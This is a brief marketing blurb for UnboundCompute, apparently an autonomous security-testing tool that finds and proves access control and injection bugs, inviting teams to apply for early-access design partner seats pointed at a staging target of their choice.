    UnboundCompute is an autonomous security researcher that reasons about how an application fits together and proves the access control and injection bugs it finds. We are opening a small number of founding design partner seats: private early access pointed at a staging target you choose, and a say in what it looks for. If your team ships software worth pressure testing, apply to the design partner program.